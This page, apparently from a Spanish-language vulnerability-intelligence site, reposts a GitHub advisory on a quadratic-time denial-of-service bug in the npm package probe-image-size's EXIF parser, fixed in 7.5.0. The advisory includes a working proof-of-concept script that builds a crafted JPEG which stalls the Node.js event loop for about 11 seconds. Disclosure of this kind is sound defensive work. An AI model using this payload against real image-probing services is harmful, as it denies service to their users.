llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · probe-image-size

GHSA-3QG4-7MQ2-GM93

EXIF parser copies unbounded per-entry component arrays, causing quadratic-time DoS on a crafted image

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición25 dDesde la divulgación, 26 oct 2026, 5:47 p. m.
Detección23 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Esto no amerita reunión. Un ticket basta.Esto lo arregla la rutina de siempre.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 7.5.0
Monitoreo
Detectada +1
26 oct 26
19 nov 26
21 nov 26
26 oct 26
2 nov 26
8 nov 26
15 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-3QG4-7MQ2-GM93 divulgada
Remediación Parche 7.5.0 probe-image-size · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

probe-image-size reads EXIF orientation from JPEG, WebP and AVIF images by default, through both `probe()` and `probe.sync()`. Its EXIF directory parser (`ExifParser.scan_ifd` in `lib/exif_utils.js`) reads a 32-bit component `count` for every IFD entry and copies that many components into a fresh array, rejecting an entry only when `count * component_size` runs past the end of the buffer. A `BYTE` component is one byte, so a single entry can claim a `count` as large as the whole EXIF segment, and its data pointer can point back to the start of the segment, so many entries each re-read the same bytes. An IFD holds about `segment_size / 12` such entries, which makes parsing O(n^2) in the segment size, with one array allocation per entry on top. A crafted 64 KB image blocks the Node.js event loop for about 11 seconds.

Proof of concept

Reproduced on a clean `npm install probe-image-size@7.4.0`.

const probe = require('probe-image-size')

// A 64 KB EXIF (little-endian TIFF) whose single IFD holds ~5400 entries.
// Each entry is format 1 (BYTE), count = the whole segment, data pointer 0,
// so scan_ifd copies `count` bytes into a new array for every entry: O(n^2).
const S = 65527
const exif = Buffer.alloc(S)
exif.write('II', 0)
exif[2] = 0x2a
exif.writeUInt32LE(8, 4)            // first IFD at offset 8
const entries = Math.floor((S - 14) / 12)
exif.writeUInt16LE(entries, 8)
for (let i = 0, off = 10; i < entries; i++, off += 12) {
  exif.writeUInt16LE(0x0100, off)   // tag
  exif.writeUInt16LE(1, off + 2)    // format = BYTE
  exif.writeUInt32LE(S, off + 4)    // count = segment length
  exif.writeUInt32LE(0, off + 8)    // data pointer = 0
}

// Wrap the EXIF in a minimal JPEG APP1 segment.
const sig = Buffer.from('Exif\0\0', 'binary')
const len = 2 + sig.length + exif.length
const jpeg = Buffer.concat([Buffer.from([0xff, 0xd8, 0xff, 0xe1, len >> 8, len & 0xff]), sig, exif])

console.time('probe')
probe.sync(jpeg)                    // ~11 s of blocked event loop for a 64 KB input
console.timeEnd('probe')

An 8 KB version of the same file takes about 70 ms, a real image under 1 ms. The `probe(stream)` async path used by `probe(url)` reaches the same parser and blocks for the same time. A WebP `EXIF` chunk carries the payload just as well, and its 32-bit chunk length lets the segment grow past the JPEG marker limit.

Impact

Probing images from an untrusted source is the library's main use: a URL handed to `probe(url)` for link previews or feed thumbnails, or an upload handed to `probe.sync(buffer)`. One small request stalls the single-threaded event loop for seconds, and a few in a row deny service to every other client. Orientation parsing runs under default options with no way to turn it off, and the same input affects both the async and sync APIs.

This is availability only, and only reaches applications that probe attacker-influenced images. It is a distinct code path from the SVG-parser quadratic already fixed in GHSA-gjj5-9665-rwrc.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
probe-image-size≤ 7.4.0
7.4.0
7.5.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmprobe-image-size
Corregida 7.5.0 0 d 7.5.0 no afectada
Versiones corregidas7.5.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/nodeca/probe-image-size/security/advisories/GHSA-3qg4-7mq2-gm93

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.